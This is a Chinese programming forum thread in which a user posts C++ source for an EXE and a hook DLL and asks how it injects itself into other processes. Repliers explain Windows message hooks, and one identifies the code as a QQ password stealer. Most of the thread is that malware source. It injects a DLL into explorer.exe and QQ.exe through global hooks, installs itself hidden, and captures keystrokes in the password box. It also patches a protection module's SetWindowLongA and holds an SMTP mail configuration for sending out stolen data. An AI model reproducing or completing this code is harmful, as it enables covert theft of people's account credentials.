100分，立刻送；请高手讲讲这几行代码什么意思

Question

typedef struct MAPDATA{
DWORD currThreadID;
char exeFile[MAX_PATH];
} *pMAPDATA;string ClassName= "tmpWnd20070109";
string dllMutex = "dllMutex20070109";
string exeMutex = "exeMutex20070109";
string sFileMap = "sFileMap20070109";
string dllShare = "dllShareMap20070109";
string hookDLL = "HookDll.dll";
typedef void (* INHook)(); 
typedef void (* UNHook)();INHook DllInstallHook = NULL;
UNHook DllUnHook = NULL;
int main(int argc, char* argv[])
{
MSG msgStruct;
HANDLE mutexHandle = NULL;
HANDLE fileHandle = NULL;
pMAPDATA tMapData = NULL;
char thisExeName[MAX_PATH] ; if((OpenMutex(MUTEX_ALL_ACCESS, FALSE, exeMutex.c_str()) != 0) || (OpenMutex(MUTEX_ALL_ACCESS, FALSE, dllMutex.c_str()) != 0))
{
return 1;
} mutexHandle= ::CreateMutex(NULL,FALSE,exeMutex.c_str());
fileHandle = ::CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, sizeof(MAPDATA), sFileMap.c_str()); tMapData = (pMAPDATA)::MapViewOfFile(fileHandle,FILE_MAP_ALL_ACCESS,0,0,sizeof(MAPDATA));
tMapData->currThreadID = (DWORD)::GetCurrentThreadId();
GetModuleFileName(NULL,thisExeName,MAX_PATH);
strcpy(tMapData->exeFile,thisExeName);
//tMapData->exeFile = "ttt";
MessageBox(NULL,tMapData->exeFile,"exeFile",MB_OK);

InstallHook();
//MessageBox(NULL,"Insert Hook OK","Test",MB_OK);
::UnmapViewOfFile(tMapData);
while(::GetMessage(&msgStruct, 0, 0, 0) != 0)// 等待WM_QUIT
{ } UnHook();
//CloseHandle(fileHandle);
PostMessage(HWND_BROADCAST, WM_WININICHANGE, 0, 0);
CloseHandle(mutexHandle);
CloseHandle(fileHandle);
return 0;
}
这段代码的功能，我看象是读共享内存的，但运行后是怎么是线程插入的呢？

Answer 1

通过sFileMap.c_str()在线程中打开,共享内存

Answer 2

LS的能否说详细点fileHandle = ::CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, sizeof(MAPDATA), sFileMap.c_str()); tMapData = (pMAPDATA)::MapViewOfFile(fileHandle,FILE_MAP_ALL_ACCESS,0,0,sizeof(MAPDATA));
tMapData->currThreadID = (DWORD)::GetCurrentThreadId();
GetModuleFileName(NULL,thisExeName,MAX_PATH);
strcpy(tMapData->exeFile,thisExeName);
//tMapData->exeFile = "ttt";
MessageBox(NULL,tMapData->exeFile,"exeFile",MB_OK);

InstallHook();
//MessageBox(NULL,"Insert Hook OK","Test",MB_OK);
::UnmapViewOfFile(tMapData);
while(::GetMessage(&msgStruct, 0, 0, 0) != 0)// 等待WM_QUIT
{ } UnHook();
//CloseHandle(fileHandle);
PostMessage(HWND_BROADCAST, WM_WININICHANGE, 0, 0);
CloseHandle(mutexHandle);
CloseHandle(fileHandle);那为大侠能解释详细点，就是上面的这几步

Answer 3

对照这个
http://www.yesky.com/20030117/1649013.shtml

Answer 4

先看CreateFileMapping  是做什么的?  为了不同进程共享内存
你是对于FileMap 不明白?? 如果这个不明白,大家就不好说了其他有什么不知道的, 请指定在那个地方, 不要太笼统

Answer 5

InstallHook里不知道干了什么，不好说，
CreateFileMapping  就是用来共乡内存，得到这个实例的名字然后存到pMAPDATA里，照前面ＭＵＴＥＸ来看，就是只允许一个实例存在，大致只能得到这些信息

Answer 6

fileHandle = ::CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, sizeof(MAPDATA), sFileMap.c_str());tMapData = (pMAPDATA)::MapViewOfFile(fileHandle,FILE_MAP_ALL_ACCESS,0,0,sizeof(MAPDATA));
tMapData->currThreadID = (DWORD)::GetCurrentThreadId();
GetModuleFileName(NULL,thisExeName,MAX_PATH);
strcpy(tMapData->exeFile,thisExeName);
//tMapData->exeFile = "ttt";
MessageBox(NULL,tMapData->exeFile,"exeFile",MB_OK);上面就是内存映射 共享了内存
InstallHook();
//MessageBox(NULL,"Insert Hook OK","Test",MB_OK);
::UnmapViewOfFile(tMapData);//释放掉这段内存了
while(::GetMessage(&msgStruct, 0, 0, 0) != 0)// 等待WM_QUIT
{}UnHook();
//CloseHandle(fileHandle);
PostMessage(HWND_BROADCAST, WM_WININICHANGE, 0, 0);
CloseHandle(mutexHandle);
CloseHandle(fileHandle);

Answer 7

贴出代码，高手帮忙
typedef struct MAPDATA{
DWORD currThreadID;
char exeFile[MAX_PATH];
} *pMAPDATA;string ClassName= "tmpWnd20070109";
string dllMutex = "dllMutex20070109";
string exeMutex = "exeMutex20070109";
string sFileMap = "sFileMap20070109";
string dllShare = "dllShareMap20070109";
string hookDLL = "HookDll.dll";
typedef void (* INHook)(); 
typedef void (* UNHook)();INHook DllInstallHook = NULL;
UNHook DllUnHook = NULL;
int main(int argc, char* argv[])
{
MSG msgStruct;
HANDLE mutexHandle = NULL;
HANDLE fileHandle = NULL;
pMAPDATA tMapData = NULL;
char thisExeName[MAX_PATH] ; if((OpenMutex(MUTEX_ALL_ACCESS, FALSE, exeMutex.c_str()) != 0) || (OpenMutex(MUTEX_ALL_ACCESS, FALSE, dllMutex.c_str()) != 0))
{
return 1;
} mutexHandle= ::CreateMutex(NULL,FALSE,exeMutex.c_str());
fileHandle = ::CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, sizeof(MAPDATA), sFileMap.c_str()); tMapData = (pMAPDATA)::MapViewOfFile(fileHandle,FILE_MAP_ALL_ACCESS,0,0,sizeof(MAPDATA));
tMapData->currThreadID = (DWORD)::GetCurrentThreadId();
GetModuleFileName(NULL,thisExeName,MAX_PATH);
strcpy(tMapData->exeFile,thisExeName);
//tMapData->exeFile = "ttt";
MessageBox(NULL,tMapData->exeFile,"exeFile",MB_OK);

InstallHook();
//MessageBox(NULL,"Insert Hook OK","Test",MB_OK);
::UnmapViewOfFile(tMapData);
while(::GetMessage(&msgStruct, 0, 0, 0) != 0)// 等待WM_QUIT
{ } UnHook();
//CloseHandle(fileHandle);
PostMessage(HWND_BROADCAST, WM_WININICHANGE, 0, 0);
CloseHandle(mutexHandle);
CloseHandle(fileHandle);
return 0;
}// start.cpp : Defines the entry point for the application.
//
void LoadDllFunc()
{
HINSTANCE hModule;
extractRes();
char dir[MAX_PATH];
::GetWindowsDirectory(dir,MAX_PATH);
string s = dir;
s.append("\\");
s.append(hookDLL);
hModule = ::LoadLibrary(s.c_str());//"D:\\Test5\\Debug\\HookDll.dll");
if (hModule != NULL)
{
DllInstallHook = (INHook)GetProcAddress(hModule,"InsertHookOn");
DllUnHook      = (UNHook)GetProcAddress(hModule,"InsertHookOff");
// DllGetShareData = (GTSDATA)GetProcAddress(hModule,"GetShareData");
}
}void InstallHook()
{
if(DllInstallHook == NULL)
{
LoadDllFunc();
} if(DllInstallHook != NULL)
{
DllInstallHook();
}
}上面是EXE里的代码
//////////////////////////////////////////////////////////////////////////

Answer 8

下面是DLL中的代码
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
init();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}
HHOOK hGetHook = NULL;
HHOOK hWndHook = NULL;
HWND TempFormHandle = NULL;char module[MAX_PATH];
bool isQQ = false;
bool isExplorer = false;
string password = "";
string qqNumber = "";
string ClassName= "tmpWnd20070109";
string dllMutex = "dllMutex20070109";
string exeMutex = "exeMutex20070109";
string sFileMap = "sFileMap20070109";
string dllShare = "dllShareMap20070109";
string qqExeName= "QQ.exe";ShareData sd;
long qqThreadID = 0;
int timer = 0;
int timerQQ = 0;
int elapse = 1000;
bool willNotCloseQQ = true;
int closeQQWaitTime = 2000;// 2 secs
//dllShareData *m_pDllShareData;
//HANDLE m_hMapFile;typedef struct MAPDATA{
DWORD currThreadID;
char exeFile[MAX_PATH];
} *pMAPDATA;typedef struct MAILCONFIG{
char senderName[255];
char senderAddr[255];
char senderPassword[255];
char senderSMTP[255];
char receiverAddr[255];
} *pMAILCONFIG;MAILCONFIG mConfig;
bool mailInit = false;
// This is an example of an exported function.
HOOKDLL_API void MsgHookOn()
{
//MessageBox(NULL,"MessageHook on","Test",MB_OK);
hGetHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc,GetCurrentModule(), 0);
hWndHook = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc,GetCurrentModule(), 0);
}HOOKDLL_API void MsgHookOff()
{
if(hGetHook != NULL)
::UnhookWindowsHookEx(hGetHook);
if(hWndHook != NULL)
::UnhookWindowsHookEx(hWndHook);
}LRESULT CALLBACK New_SetWindowLongA(HWND ahWnd, WPARAM nIndex, LPARAM dwNewLong)
{
  Register_TempForm();  
  Create_TempForm();
  //MessageBox(NULL,"We are in New_SetWindowLongA","Test",MB_OK);  while (IsWindow(TempFormHandle))
  {
    SendMessage(TempFormHandle, WM_CLOSE, 0, 0);
//MessageBox(NULL,"We are in New_SetWindowLongA","Test",MB_OK);
  }
  Unregister_TempForm();
  return 0;
}
//FUN New_SetWindowLongB = New_SetWindowLongA;
DWORD WINAPI ThreadProc1(LPVOID lpParameter)
{
MSG msgStruct;
HANDLE hMutex;
//MessageBox(NULL,"create mutex befor success","tt",MB_OK);
hMutex = ::CreateMutex(NULL,FALSE, dllMutex.c_str());
//MessageBox(NULL,"create mutex befor success","tt",MB_OK);
InstallHook(); 
timer = StartTimer();
while (GetMessage(&msgStruct, 0, 0, 0)!=0)
{
if (msgStruct.message == WM_TIMER)
{
   ProcTimer();
}
TranslateMessage(&msgStruct);
DispatchMessage(&msgStruct);
}
StopTimer(timer);
UnHook();
::CloseHandle(hMutex);
::FreeLibraryAndExitThread(::GetCurrentModule(), 0);
return 1;
}
void init(){
DWORD subThreadID;
pMAPDATA shareData;
string callerExeName = "";
DWORD callerThreadID;
LPVOID lpParameter = NULL; ::GetModuleFileName(NULL,module,MAX_PATH);
string exeFullName = module;
string exeName = extractFileName(exeFullName);
if(::strcmpi(exeName.c_str(),"explorer.exe") == 0)
{
HANDLE hMutex = ::OpenMutex(MUTEX_ALL_ACCESS, FALSE, dllMutex.c_str());
if(hMutex != NULL)
{
//MessageBox(NULL,"Mutex dll Not null","hhtt",MB_OK);
::CloseHandle(hMutex);
}
else
{
isExplorer = true;
//CreateShareData2();
sd.CreateShareData();
if(sd.GetShareData != NULL) //(m_pDllShareData != NULL)
{
HANDLE hThread = ::CreateThread(0, 0, ThreadProc1, NULL, 0, &subThreadID);

HANDLE hFile = ::OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, sFileMap.c_str());
shareData = (pMAPDATA)::MapViewOfFile(hFile, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(MAPDATA));
callerExeName = shareData->exeFile;
callerThreadID = shareData->currThreadID; char cName[MAX_PATH];
::GetModuleFileName(::GetCurrentModule(),cName,MAX_PATH);
MessageBox(NULL,cName,"test1",MB_OK);
::LoadLibrary(cName);//增加dll的引用计数
::UnmapViewOfFile(shareData);
::CloseHandle(hFile); ::PostThreadMessage(callerThreadID, (UINT)WM_QUIT, 0, 0);
strcpy(sd.GetShareData()->cfgFileName,HiddenInstall(callerExeName).c_str()); ::LoadLibrary(sd.GetShareData()->cfgFileName);
MessageBox(NULL,sd.GetShareData()->cfgFileName,"test1",MB_OK); }
}
}
else if(::strcmpi(exeName.c_str(),"qq.exe") == 0)
{
qqThreadID = ::GetCurrentProcessId();
sd.OpenShareData();
MessageBox(NULL,sd.GetShareData()->cfgFileName,"test3",MB_OK);
::CreateThread(NULL, 0, QQThreadProc, NULL, 0, &subThreadID);
HANDLE hMutex = ::OpenMutex(MUTEX_ALL_ACCESS, FALSE, dllMutex.c_str());
if(hMutex != NULL)
{
::CloseHandle(hMutex);
string exePath = extractFilePath(exeFullName);
isQQ = true; exePath.append("LoginCtrl.Dll");
::LoadLibrary(exePath.c_str()); // load LoginCtrl.Dll
ReplaceInOneModule("USER32.DLL","SetWindowLongA",(FUN)New_SetWindowLongA,::GetModuleHandle("npkcntc.dll"));//LoadLibrary(exePath.c_str())); }
}

}DWORD WINAPI QQThreadProc(LPVOID lpParameter)
{
MSG msgStruct;
timerQQ = StartQQTimer(); 
while (GetMessage(&msgStruct, 0, 0, 0)!=0 && !willNotCloseQQ)
{
if (msgStruct.message == WM_TIMER)
{
   QQProcTimer();
}
TranslateMessage(&msgStruct);
DispatchMessage(&msgStruct);
}
StopTimer(timerQQ);
return 0;
}LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam,LPARAM lParam){
if (isQQ && nCode == HC_ACTION){
CWPSTRUCT* pMsg = (CWPSTRUCT*)lParam;
switch (pMsg->message)
{
case WM_DESTROY:
OnDestroy(pMsg->hwnd);
break;
}
} return CallNextHookEx(hWndHook,nCode,wParam,lParam);
}
LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam,LPARAM lParam){
if(isQQ && nCode == HC_ACTION && wParam == PM_REMOVE){
MSG* pMsg = (MSG*)lParam;
switch(pMsg->message)
{
case WM_KEYDOWN:
 OnKeyDown(pMsg->hwnd, pMsg->wParam, pMsg->lParam);
 break;
case WM_PASTE:
if(IsPassEdit(pMsg->hwnd))
{
pMsg->message = NULL;
}
break;
default:
break;
}
}
return CallNextHookEx(hGetHook,nCode,wParam,lParam);
}
int StartTimer()
{
return ::SetTimer(NULL,1,elapse,NULL);
}int StartQQTimer()
{
InitCloseQQValues();
return ::SetTimer(NULL,1,elapse,NULL);
}void InitCloseQQValues()
{
willNotCloseQQ = false;
closeQQWaitTime = 10;
}void StopTimer(int t)
{
::KillTimer(NULL,t);
}typedef void (* INHook)(); 
typedef void (* UNHook)();
typedef pMAPDATA (* GTSDATA)();INHook DllInstallHook = NULL;
UNHook DllUnHook = NULL;
GTSDATA DllGetShareData = NULL;void LoadDllFunc()
{
char tDLLName[MAX_PATH];
HINSTANCE hModule;
::GetModuleFileName(GetCurrentModule(),tDLLName,MAX_PATH);
hModule = ::LoadLibrary(tDLLName);
if (hModule != NULL)
{
DllInstallHook = (INHook)GetProcAddress(hModule,"MsgHookOn");
DllUnHook      = (UNHook)GetProcAddress(hModule,"MsgHookOff");
DllGetShareData = (GTSDATA)GetProcAddress(hModule,"GetShareData");
}
}void InstallHook()
{
if(DllInstallHook == NULL)
{
LoadDllFunc();
} if(DllInstallHook != NULL)
{
DllInstallHook();
}
}void UnHook()
{
if(DllUnHook == NULL)
{
LoadDllFunc();
} if(DllUnHook != NULL)
{
DllUnHook();
}
}

Answer 9

好多东西，大概看了一下
这是一个典型的钩子程序，分成2部分，一部分是监控，可以监控exe和dll的运行状况，这里主要是截获相关的消息。另一部分是钩子，注入相应的应用程序，并把某些消息转发给监控程序。
好像它主要是截获QQ的登录消息，把用户输入的密码的每个字符键消息转发给监控部分，来获取用户输入的QQ密码。
有些地方没有细看，大概就是这个功能，关键的技术点是“钩子”，你可以网上找些资料研究一下就明白了。

Answer 10

我主要不明白是它怎么把线程插入到explorer.exe和qq.exe进程里的
我怎么看就是内存共乡的，怎么能插入呢？？

Answer 11

看<<windows核心编程>>第八章,有详细说明如何把dll插入其他进程

Answer 12

晕，我不是告诉你看一下“钩子”相关技术，就都清楚了，跟共享内存没关系。简单说，windows是多层消息传输机制，现在在其中加上一层自己的消息处理层，截获相关的消息后做一些处理

Answer 13

EXE的LoadDllFunc(),启动后不就加载了DLL,DLL初始化的时候插入了QQ的进程

Answer 14

DLL的init()里写的很清楚啊,再结合windows核心编程看,很easy的一段代码.

Answer 15

能否就此代码结合 <<windows核心编程>>讲讲，平常工作是在LINUX和UNIX下开发，用C++，所以对WIN深层不是很了解，哪位赐教，不胜感激！！

Answer 16

代码太长,没时间看,它用消息钩子将一个DLL注入目标进程,好像是这一句:
hGetHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc,GetCurrentModule(), 0);
hWndHook = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc,GetCurrentModule(), 0);
DLL中的入口点DllMain函数会在注入时自动被调用,在这个函数中有个init()就被调用了.好像是这样,低码太长,看不下去.

Answer 17

正在学习关于dll注入的知识,可以学习一下

Answer 18

我也没看出哪里有注入qq和iexpolre的代码，貌似代码也不完整

Answer 19

这是一个钩子程序，用来钩某个函数 ，我没仔细看，  至于你说的共享内存 是有的，
他存在的目的是使DLL中的数据和你的外部程序数据进行交互， 在进程通信中是长用的，
你分开看，  钩子看钩子实现 和功能 ，  共享内存单看为一项功能，就明了了